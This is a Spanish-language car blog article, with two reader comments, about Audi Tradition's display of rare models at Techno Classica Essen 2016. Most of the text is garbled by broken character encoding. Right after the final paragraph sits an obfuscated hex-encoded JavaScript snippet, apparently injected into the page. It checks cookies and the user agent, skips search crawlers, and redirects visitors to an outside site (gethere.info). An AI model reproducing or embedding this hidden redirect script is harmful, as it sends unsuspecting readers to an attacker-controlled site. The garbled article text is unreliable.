Techno Classica 2016: las rarezas de Audi

Master
A highlight for all fans of rally racing: This year the Audi Group S, a prototype mid-engine rally car from 1987, will leave the Audi factory site for the first time to appear at the Eifel Rallye Festival in Daun.
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Presented at the 1991 IAA in Frankfurt: the Audi quattro Spyder.

La propuesta de Audi Tradition para este aAi??o en la Techno Classica Essen se centra en torno a vehAi??culos raros de la historia de la compaAi??Ai??a.

Entre el 6 y el 10 de abril, el mayor salA?n del mundo de autos clA?sicos prevAi?? la presencia de 190.000 visitantes, que desfilarA?n frente al stand de la marca de los cuatro aros. AllAi??, las estrellas serA?n el Audi quattro Spyder y el Audi Avus quattro, ambos dados a conocer por primera vez en 1991. Otros modelos singulares y expuestos en muy pocas ocasiones con anterioridad completan la exhibiciA?n, entre ellos el prototipo para rallyes Audi Grupo S con motor central, asAi?? como la A?nica motocicleta Audi existente.

El Audi quattro Spyder es un concept de motor central que causA? sensaciA?n cuando se presentA? al pA?blico en el SalA?n del AutomA?vil (IAA) de Frankfurt en 1991. Con su carrocerAi??a de aluminio, el prototipo pesaba sA?lo 1.100 kilogramos. Los rumores sobre una posible producciA?n limitada del vehAi??culo hicieron que llegaran miles de peticiones de clientes a los concesionarios Audi. Pero el precio planeado de 100.000 marcos alemanes no podAi??a sostenerse, y el deportivo quedA? en fase de concept, con una A?nica unidad producida.

A striking feature of the Audi Avus quattro concept supercar is the highly polished aluminum body.

Un mes mA?s tarde, Audi fue aA?n mA?s lejos en el SalA?n del AutomA?vil de Tokio, exponiendo un concept de superdeportivo todavAi??a mA?s radical: el Audi Avus quattro concept. Su carrocerAi??a de aluminio pulida constituAi??a otro ejemplo de know-how en construcciA?n ligera de Audi. Los ingenieros tambiAi??n seleccionaron la disposiciA?n de motor central para el Avus, pero esta vez con doble nA?mero de cilindros: para unas espectaculares prestaciones le colocaron un motor 12 cilindros en ai???Wai??i?? de 509 caballos.

El Audi Grupo S, desarrollado para competir en rallyes, es poco conocido. Este ejemplar A?nico, producido en Essen, estaba destinado a competir en la temporada 1987, pero nunca llegA? a ser inscripto. Audi decidiA? retirarlo del Campeonato Mundial de Rallyes por razones de seguridad cuando la temporada 1986 ya estaba en marcha. Un serio accidente en el Rallye de Portugal 1986 ai??i??en el que ningA?n Audi estuvo implicadoai??i?? llevA? a las autoridades internacionales deportivas de la FIA a eliminar los Grupo B y tambiAi??n al planeado Grupo S para la temporada 1987. Los rasgos tAi??cnicos del prototipo que se expondrA? incluyen un bastidor tubular de acero, carrocerAi??a en material plA?stico y motor central turboalimentado.

Planned for the 1987 World Rally Championship: the Audi Group S. The racing car never actually got the chance to race.

La pieza mA?s antigua en exhibiciA?n en el stand en Techno Classica serA? un Slaby-Beringer construido en 1924. Este vehAi??culo monta un motor monocilAi??ndrico de dos tiempos DKW. TambiAi??n animado por un motor DKW se verA? el Framo TV 300 de tres ruedas, construido en 1929. La unidad exhibida, un vehAi??culo industrial de carrocerAi??a con plataforma de carga, tiene una potencia de 7 CV.

El DKW F9 producido en 1941 que podrA? verse en el stand Audi es una autAi??ntica rareza. El motor tricilAi??ndrico de dos tiempos con 28 CV prometAi??a una respuesta brillante. La carrocerAi??a se destaca por su sorprendente forma aerodinA?mica. El avance de la Segunda Guerra Mundial impidiA? que se produjera en nA?mero significativo, construyAi??ndose apenas diez unidades.

Dos motocicletas completan el despliegue de Audi en Techno Classica. A partir de 1928, las motos de competiciA?n DKW ORe 250 aparecAi??an en forma constante en las listas de ganadores y dominaron esa categorAi??a de cilindrada; la moto que se expondrA? en Essen se produjo en 1930.

En la exposiciA?n tambiAi??n se podrA? ver un ejemplar A?nico de Audi de dos ruedas. El prototipo de motocicleta de cuatro cilindros con el motor refrigerado por agua del Audi 50 fue construido por el departamento de Desarrollo de Audi en 1976, en absoluto secreto. El departamento de DiseAi??o proveyA? al prototipo de un look tAi??pico de la Ai??poca. Por consideraciones de estrategias de ventas, la moto Audi Z02 nunca llegA? a producirse.

El departamento de vehAi??culos histA?ricos de Audi presentarA? los integrantes de la exhibiciA?n “rarities” en un espacio de 700 metros cuadrados de superficie en el Hall 7. Los fans y coleccionistas de miniaturas podrA?n tambiAi??n adquirir el modelo reducido de este aAi??o de Audi Tradition: un Audi Sport quattro de rallyes, en color naranja, a escala 1:43 y limitado a 333 unidades. Los miembros del Audi Club International (ACI) mostrarA?n otros modelos clA?sicos de la historia de la compaAi??Ai??a en el Hall 7.1var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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2 Comentarios, RSS

  1. Beppe Viola 06/04/2016 @ 5:20 am

    La cosa interesante de la Avus no es la tecnologìa del chasis (tenia uno reticulado en aluminio y con carroceria en aluminio cuando ya se experimentaba la fibra de carbon por otros lados) ni la arquitectura general del auto, sinò el motor W12 (tres bancadas de 4 cil puestos a 60° una de otra) aunque ya la Bugatti tenia casi 100 cv màs y traccion integral permanente, el W12 era mucho mas compacto… .
    Otra cosa interesante de este prototipo fueron los desarrollos sucesivos que se convertieron en los extremos Volkswagen W12 Syncro y Nardò , ambos diseniados por Giugiaro y con un motor W12 Wolkswagen distinto (dos V6 uno arriba del otro)
    … mientras tanto la VW comprò la Lamborghini y la Bugatti y se encontraron con los supercar ya hechos en el cajòn de los dibujos.
    Por otro lado, no fuè Audi a retirar el Gr S sino que la categoria entera fue prohibida por la FIA, despues de los accidentes mortales de Toivonen y Cresto en Corsica ’86 y el rechazo de Lancia a seguir con el S4.. Lancia ya tenia preparados y en pruebas dos evoluciones del S4 denominados SCV y el SCV2, monstruos de 600 cv

  2. Güilbeis 06/04/2016 @ 11:40 am

    Muy lindo el color del Quattro Spyder. El Avus me sigue pareciendo espectacular. Hablando de los motores en W, aquí se trajeron unos pocos Passat W8 que se reconocen por los dos escapes dobles, no hace mucho apareció uno en venta.

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